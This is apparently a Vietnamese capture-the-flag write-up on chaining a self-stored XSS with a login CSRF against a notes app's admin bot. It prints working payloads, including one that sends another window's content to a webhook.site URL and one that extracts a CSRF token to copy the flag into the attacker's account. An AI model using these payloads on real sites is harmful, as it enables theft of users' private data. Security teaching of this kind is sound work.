Sơ lược về challenge
Trang gồm có hai chức năng Login và Register
overview1
Tiếp đó ta thể tạo note và gửi link để report.
overview2
Phân tích
Sau khi thử thì mình nhận thấy có lỗi xss ở đây
Click to play video
Suy ra bài này là một dạng Self Store XSS
Cũng tương tự như các bài xss khác, chức năng report sẽ làm con bot (đóng vai trò như admin) access đến link mà ta gửi.
report.js Bot sẽ tạo một tài khoản với tk, mk random và tạo một note với content chính là flag. Sau đó sẽ access tới url được report.
Trong web.js có thể thấy server dùng csrf token trong các route.
web.js
Khai thác
Bởi vì sau khi vừa tạo note thì phiên hoạt động của bot vẫn còn hiệu lực nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes của con bot (chứa flag) và gửi đến webhook hoặc có thể tạo một note mới với content là flag ở account của ta.
Bởi vì sau khi vừa tạo note thì session của bot vẫn còn lưu trên trình duyệt nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes của con bot (chứa flag) và gửi đến webbook hoặc có thể tạo một note mới với content là flag ở account của ta.
Gửi đến webhook
Cách này không đòi hỏi phải extract csrf token
flow1
Đầu tiên ta khởi tạo 1 account với tk,mk: bla mục đích là lưu xss script có vai trò gửi nội dung của window chứa flag tới webhook của ta.
XSS note sẽ có nội dung như sau:
1
2
3
4
<script>
if (window.location.search.includes('pwn'))
window.location = 'https://webhook.site/<id>?' + window.open('', 'flag').document.body.textContent
</script>
Ở đây ta dùng window.location.search.includes là để tránh việc bị redirect liên tục tới webhook.
Tiếp theo ở exploit server ta tạo một index.html với layout
flow2
Csrf form sẽ là:
1
2
3
4
<form action='http://0.0.0.0:8080/login' method='POST' id='csrf' target='_blank'>
<input type="text" name="username" value="bla">
<input type="text" name="password" value="bla">
</form>
Script để exploit sẽ là:
1
2
3
4
5
<script>
window.open('http://0.0.0.0:8080/notes', 'flag');
setTimeout(`csrf.submit()`, 1000);
setTimeout(`window.location='http://0.0.0.0:8080/notes?pwn'`, 1500);
</script>
Trong csrf form ta thêm thuộc tính target và gán giá trị bằng _blank để reponse trả về từ action sẽ mở ở tab mới nếu không các dòng javascript ở bên dưới sẽ không được thực thi.
Để hiểu rõ hơn về cách khai thác này ta sẽ đặt tất cả lại với nhau:
- Đầu tiên gửi cho con bot link exploit server, bot sẽ truy cập tới exploit server hay cụ thể là
index.html - Đoạn script ở
index.htmlsẽ open new tab với tên làflag(sẽ không yêu cầu nhập username, password bởi vì phiên hoạt động của bot vẫn còn và cửa sổ này sẽ chứa note với content là flag) - Sau 1s thì submit csrf form lúc này bot sẽ login vào account ta vừa tạo và kết quả hiển thị ở
new blank tab - Sau 1,5s thì chuyển hướng từ exploit page đến
http://0.0.0.0:8080/notes?pwnlưu ý rằng ở đoạn code trước ta đã đăng nhập vào tài khoảnblanên bây giờ cũng sẽ chuyển hướng tới/notescủabla.?pwndùng để trigger store xss và gửi nội dung cửa sổflagđến webhook. Có thể thấy lúc này ta không hề vi phạmsame origin policykhi lấydocument.body.textContenttừ cửa sổflagbởi vì chúng đều thuộc cùng domain, port và scheme.
Và kết quả:
result
Extract csrf token
Ở cách này thì form csrf vẫn như cách kia nhưng có sự thay đổi về xss note và script exploit
Script exploit:
1
2
3
4
<script>
window.open('http://0.0.0.0:8080/notes', 'flag')
setTimeout(`csrf.submit()`, 1000);
</script>
XSS note:
1
2
3
4
5
6
7
8
9
10
<script>
fetch("/new").then(r => r.text()).then(r => {
//extract csrf token từ '/new'
let csrf = r.match(/_csrf" value="([^"]*)/)[1];
//lấy flag
let flag = window.open('', 'flag').document.querySelector("body>div>p").innerHTML;
//tạo note với content là flag ở account của ta
fetch("/new", { method: "POST", body: JSON.stringify({ _csrf: csrf, title: "PWNED!!!", content: flag }), headers: { 'Content-Type': 'application/json' } });
});
</script>
Kết quả:
result
